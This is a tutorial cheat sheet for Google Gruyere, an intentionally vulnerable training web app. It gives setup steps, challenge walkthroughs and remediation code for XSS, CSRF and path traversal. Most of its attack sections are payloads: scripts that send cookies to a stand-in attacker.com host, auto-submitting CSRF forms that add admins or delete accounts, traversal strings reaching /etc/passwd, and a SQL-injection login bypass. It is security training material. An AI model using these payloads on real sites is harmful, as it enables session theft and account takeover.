Google Gruyere
Google Gruyere is a simple, intentionally vulnerable web application developed by Google for security training. It demonstrates XSS, XSRF (CSRF), and path traversal vulnerabilities with hands-on codelab exercises.
Overview and Setup
Access Online
# Google hosts the codelab online
# No installation required for playing challenges
# Access via Google Codelabs
# https://google-gruyere.appspot.com/
# Alternative: Create your own instance
# Follow the codelab instructions
Local Docker Installation
# Pull and run locally
docker pull gcr.io/google-gruyere/gruyere:latest
# Run container
docker run -d -p 8080:8080 gcr.io/google-gruyere/gruyere:latest
# Access at http://localhost:8080
From Source Code
# Clone the repository
git clone https://github.com/google/gruyere.git
cd gruyere
# Requirements: Python 3.7+
# Install dependencies
pip install -r requirements.txt
# Start the application
python gruyere.py
# Access at http://localhost:8080
Application Features
Wall/Chat System
# Create account or login
# Gruyere simulates a simple social network
# "Wall" displays posts from users
# Can post messages for other users to see
# Posts visible to all users in the system
User Profile
# Edit profile information
# Upload profile picture
# Set user preferences
# Update personal data
Administrative Functions
# If you gain admin access:
# View all user accounts
# Access system logs
# Manage system settings
# View private information
Vulnerability Categories
Cross-Site Scripting (XSS)
| Type | Difficulty | Impact |
|---|---|---|
| Reflected XSS | * | Session hijacking |
| Stored XSS | ** | Persistent malware |
| DOM XSS | ** | Client-side code execution |
XSS Exploitation Examples
# 1. Reflected XSS in search box
# Try: <script>alert('XSS')</script>
# 2. Stored XSS in profile field
# Edit profile with: <img src=x onerror="alert('XSS')">
# XSS triggers when anyone views profile
# 3. Post XSS on wall
# Post message: <script>alert('Wall XSS')</script>
# Executes when others view the wall
# 4. Cookie stealing payload
<script>
fetch('http://attacker.com/steal?c='+document.cookie);
</script>
# 5. Event handler XSS
<body onload="alert('XSS')">
<input autofocus onfocus="alert('XSS')">
# 6. Image-based XSS
<img src=x onerror="fetch('http://attacker.com/steal?c='+document.cookie)">
# 7. SVG-based XSS
<svg onload="alert('XSS')">
# 8. HTML5 attribute XSS
<input autofocus onfocus="eval(atob('YWxlcnQoIkVPRicp'))">
Cross-Site Request Forgery (CSRF/XSRF)
CSRF Exploitation
# 1. CSRF via form submission
<form action="http://gruyere/editprofile" method="POST">
<input type="hidden" name="name" value="Hacked">
<input type="hidden" name="bio" value="Account compromised">
<input type="submit" value="Click here">
</form>
# 2. Image-based CSRF
<img src="http://gruyere/editprofile?name=Hacked&bio=Pwned" width=1 height=1>
# 3. CSRF with fetch
<script>
fetch('http://gruyere/editprofile', {
method: 'POST',
body: new FormData(document.querySelector('form')),
credentials: 'include'
});
</script>
# 4. Change password CSRF
<form action="http://gruyere/changepassword" method="POST">
<input type="hidden" name="password" value="newpassword">
<input type="submit">
</form>
# 5. Delete account CSRF
<form action="http://gruyere/deleteaccount" method="POST">
<input type="submit">
</form>
# 6. Add admin user CSRF
<form action="http://gruyere/admin/adduser" method="POST">
<input type="hidden" name="username" value="attacker">
<input type="hidden" name="role" value="admin">
<input type="submit">
</form>
Path Traversal
Path Traversal Exploitation
# 1. Traverse directory structure
# /guestbook? [Try traversal]
# Try: ../../etc/passwd
# 2. Access user files
# /download?file=../user/target/privatedata.txt
# /download?file=.../.../.../.../etc/passwd
# 3. Null byte bypass (older versions)
# /download?file=../../../etc/passwd%00.txt
# 4. Double encoding bypass
# /download?file=%2e%2e%2f%2e%2e%2fetc%2fpasswd
# 5. Unicode encoding
# /download?file=..%c0%af..%c0%afetc%c0%afpasswd
# 6. Case variation
# /download?file=..\..\..\..\etc\passwd
# 7. Backslash bypass (Windows)
# /download?file=..\..\..\windows\system32\config\sam
Common Challenges
Challenge 1: Greet the World (XSS)
# Objective: Find and exploit XSS vulnerability
# Look for input fields that don't sanitize output
# Guestbook or profile sections likely vulnerable
# Test payload:
<script>alert('Greetings')</script>
# The page should display your alert
# Indicates successful stored XSS
Challenge 2: Steal Admin’s Cookie (Session Hijacking)
# Objective: Extract admin's session cookie
# Create payload that sends cookies to server:
<script>
var cookie = document.cookie;
var img = new Image();
img.src = 'http://attacker.com/steal.php?c=' + cookie;
</script>
# Post on wall or in shared area
# Admin visits page and cookie is exfiltrated
Challenge 3: Expose Admin (XSRF)
# Objective: Make admin perform unintended action
# Create CSRF form that adds you as admin:
<form id="csrf" action="http://gruyere/admin/adduser" method="POST">
<input type="hidden" name="username" value="yourname">
<input type="hidden" name="role" value="admin">
</form>
<script>
document.getElementById('csrf').submit();
</script>
# When admin visits this page, form auto-submits
# You gain admin privileges
Challenge 4: Access Private User Data (Path Traversal)
# Objective: Read files from other users or system
# Test file parameter with path traversal:
# /download?file=../users/admin/secrets.txt
# /download?file=../../config/database.txt
# /download?file=../../../etc/passwd
# Look for error messages that reveal paths
# Use trial and error to find valid paths
Challenge 5: Access Admin Panel
# Objective: Gain admin access without credentials
# Method 1: SQL Injection in login (if available)
# Username: ' OR '1'='1' --
# Password: anything
# Method 2: Session hijacking
# Extract admin's session cookie
# Import into browser
# Method 3: Path traversal
# Access admin panel directly:
# /admin
# /admin/index.html
# /admin/panel.php
# Method 4: CSRF to add yourself as admin
# See Challenge 3 above
Manual Testing Workflow
Step 1: Reconnaissance
# 1. View page source (Ctrl+U)
# Look for hidden fields, comments, scripts
# 2. Check HTTP headers
# Examine Set-Cookie, X-* headers
# 3. Identify input fields
# Profile sections, post areas, file upload
# 4. Map application structure
# Click all links and buttons
# Note parameter names and values
Step 2: Input Validation Testing
# 1. Test XSS vectors
<script>alert(1)</script>
<img src=x onerror="alert(1)">
<svg onload="alert(1)">
<body onload="alert(1)">
# 2. Test CSRF
# Craft forms that auto-submit
# Test form submission from different origin
# 3. Test path traversal
../../../etc/passwd
....//....//....//etc/passwd
..%2f..%2f..%2fetc%2fpasswd
Step 3: Exploit and Verify
# 1. Inject payload
# Submit form or parameter with payload
# 2. Observe behavior
# Does alert trigger?
# Does page reflect input?
# Does functionality change?
# 3. Document findings
# Take screenshots
# Note exact payload used
# Document impact
Burp Suite Integration
Configure for Gruyere
# 1. Start Burp Suite
# 2. Configure browser proxy: localhost:8080
# 3. Navigate to Gruyere application
# 4. Intercept traffic in Burp
# 5. Use Intruder for:
# Brute forcing parameters
# Testing multiple payloads
# Discovering hidden parameters
# 6. Use Repeater for:
# Testing modified requests
# Crafting specific payloads
# Verifying exploits
Browser DevTools Techniques
Console Exploitation
# Open DevTools (F12) > Console
# Execute JavaScript directly
# Steal and send cookies:
fetch('http://attacker.com/steal?c='+document.cookie);
# List all cookies:
document.cookie
# Modify DOM:
document.body.innerHTML = "Hacked!";
# Create new requests:
fetch('/admin').then(r => r.text()).then(d => console.log(d));
Network Tab Analysis
# Monitor API calls
# Check request/response headers
# Identify authentication tokens
# Find API endpoints
# Look for:
# JWT tokens in Authorization header
# Session cookies
# CSRF tokens in responses
# Hidden API endpoints
Remediation and Secure Coding
Prevent XSS
// Vulnerable code
document.querySelector('#output').innerHTML = userInput;
// Fixed - use textContent
document.querySelector('#output').textContent = userInput;
// Or sanitize HTML
function escapeHTML(str) {
const div = document.createElement('div');
div.textContent = str;
return div.innerHTML;
}
// Or use DOMPurify library
const clean = DOMPurify.sanitize(userInput);
Prevent CSRF
<!-- Generate CSRF token on form -->
<form method="POST" action="/editprofile">
<input type="hidden" name="csrf_token" value="unique-token-here">
<!-- form fields -->
</form>
<!-- Verify token on server -->
if ($_POST['csrf_token'] !== $_SESSION['csrf_token']) {
die("CSRF attack detected");
}
<!-- Or use SameSite cookie attribute -->
Set-Cookie: session=abc123; SameSite=Strict; Secure; HttpOnly
Prevent Path Traversal
// Vulnerable
app.get('/download', (req, res) => {
const file = req.query.file;
res.download(`./files/${file}`);
});
// Fixed - validate path
app.get('/download', (req, res) => {
const file = req.query.file;
const safePath = path.normalize(`./files/${file}`);
if (!safePath.startsWith('./files/')) {
return res.status(403).send('Forbidden');
}
res.download(safePath);
});
Learning Resources
Recommended Reading
# Google Codelab guides
# Official write-ups for each level
# OWASP documentation
# Top 10 vulnerabilities
# Testing methodology
# Web security blogs
# Real-world vulnerability examples
# Remediation techniques
Practice Resources
# DVWA (Damn Vulnerable Web App)
# WebGoat (OWASP training)
# Juice Shop (OWASP)
# HackTheBox (CTF challenges)
# TryHackMe (Guided training)
# PortSwigger Web Security Academy
Best Practices
- Start with simple challenges
- Progress to complex scenarios
- Document all findings
- Test both attack and defense
- Review secure coding solutions
- Practice regularly
- Understand root causes
- Learn preventive measures
- Share knowledge with others
References
- Google Gruyere Codelab
- OWASP XSS Prevention
- OWASP CSRF Prevention
- Path Traversal Attacks
- PortSwigger Web Security Academy
Last updated: 2026-03-30